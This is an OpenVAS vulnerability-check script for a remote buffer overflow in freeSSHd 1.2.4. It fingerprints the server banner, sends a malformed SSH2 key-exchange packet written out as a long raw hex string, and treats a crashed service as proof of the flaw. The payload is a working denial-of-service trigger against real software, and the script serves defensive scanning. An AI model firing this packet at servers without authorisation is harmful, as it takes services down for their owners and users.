freeSSHd SSH2 Connection Data Remote Buffer Overflow Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_freeSSHd_38887.nasl 5306 2017-02-16 09:00:16Z teissa $
#
# freeSSHd SSH2 Connection Data Remote Buffer Overflow Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "freeSSHd is prone to a remote buffer-overflow vulnerability because it
fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code within
the context of the application. Failed exploit attempts will result in
a denial of service.

freeSSHd 1.2.4 is vulnerable; other versions may also be affected.";


if (description)
{
 script_id(100547);
 script_version("$Revision: 5306 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-16 10:00:16 +0100 (Thu, 16 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-03-23 13:24:50 +0100 (Tue, 23 Mar 2010)");
 script_bugtraq_id(38887);
 script_tag(name:"cvss_base", value:"9.3");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");

 script_name("freeSSHd SSH2 Connection Data Remote Buffer Overflow Vulnerability");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/38887");
 script_xref(name : "URL" , value : "http://www.freesshd.com/");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_DENIAL);
 script_family("Buffer overflow");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("ssh_detect.nasl");
 script_require_ports("Services/ssh", 22);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("telnet_func.inc");

if(safe_checks())exit(0);

port = get_kb_item("Services/ssh");
if(!port) port = 22;
if(!get_port_state(port))exit(0);

function report() {
  
  security_message(port:port);
  exit(0);

}  

banner = get_telnet_banner(port:port);
if("WeOnlyDo" >!< banner)exit(0);

data = string("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n");

data +=
raw_string("\x00\x00\x03\x14\x082\xff\xff\x9f\xde\x5d\x5f\xb3\x07\x8f\x49\xa7\x79\x6a\x03\x3d\xaf\x55
	    \x00\x00\x00\x7e\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f
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	    \x61\x6e\x67\x65\x2d\x73\x68\x61\x31\x2c\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d
	    \x61\x6e\x2d\x67\x72\x6f\x75\x70\x31\x34\x2d\x73\x68\x61\x31\x2c\x64\x69\x66\x66\x69\x65
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	    \x00\x0fssh-rsa,ssh-dss\x00\x00\x00\x9d\x61\x65\x73\x31\x32\x38\x2d\x63\x62\x63\x2c\x33
	    \x64\x65\x73\x2d\x63\x62\x63\x2c\x62\x6c\x6f\x77\x66\x69\x73\x68\x2d\x63\x62\x63\x2c\x63
	    \x61\x73\x74\x31\x32\x38\x2d\x63\x62\x63\x2c\x61\x72\x63\x66\x6f\x75\x72\x31\x32\x38\x2c
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	    \x31\x39\x32\x2d\x63\x62\x63\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x62\x63\x2c\x72\x69\x6a
	    \x6e\x64\x61\x65\x6c\x2d\x63\x62\x63\x40\x6c\x79\x73\x61\x74\x6f\x72\x2e\x6c\x69\x75\x2e
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	    \x68\x2d\x63\x62\x63\x2c\x63\x61\x73\x74\x31\x32\x38\x2d\x63\x62\x63\x2c\x61\x72\x63\x66
	    \x6f\x75\x72\x31\x32\x38\x2c\x61\x72\x63\x66\x6f\x75\x72\x32\x35\x36\x2c\x61\x72\x63\x66
	    \x6f\x75\x72\x2c\x61\x65\x73\x31\x39\x32\x2d\x63\x62\x63\x2c\x61\x65\x73\x32\x35\x36\x2d
	    \x63\x62\x63\x2c\x72\x69\x6a\x6e\x64\x61\x65\x6c\x2d\x63\x62\x63\x40\x6c\x79\x73\x61\x74
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            \x65\x73\x31\x39\x32\x2d\x63\x74\x72\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x74\x72\x00\x00
	    \x00\x69\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2c\x75
	    \x6d\x61\x63\x2d\x36\x34\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61
	    \x63\x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d
	    \x64\x31\x36\x30\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d
	    \x73\x68\x61\x31\x2d\x39\x36\x2c\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2d\x39\x36\x00\x00\x00
	    \x69\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2c\x75\x6d
	    \x61\x63\x2d\x36\x34\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63
	    \x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d\x64
	    \x31\x36\x30\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d\x73
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	    \x7a\x6c\x69\x62\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x7a\x6c\x69\x62\x2c
	    \x6e\x6f\x6e\x65\x00\x00\x00\x1a\x7a\x6c\x69\x62\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63
	    \x6f\x6d\x2c\x7a\x6c\x69\x62\x2c\x6e\x6f\x6e\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
	    \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00");

soc = open_sock_tcp(port);
if(!soc)exit(0);

send(socket:soc, data:data);
buf = recv(socket:soc, length:1024);

soc = open_sock_tcp(port);

if(!soc)report();

banner1 = telnet_negotiate(socket:soc);
if(!banner1)report();
close(soc);

exit(0);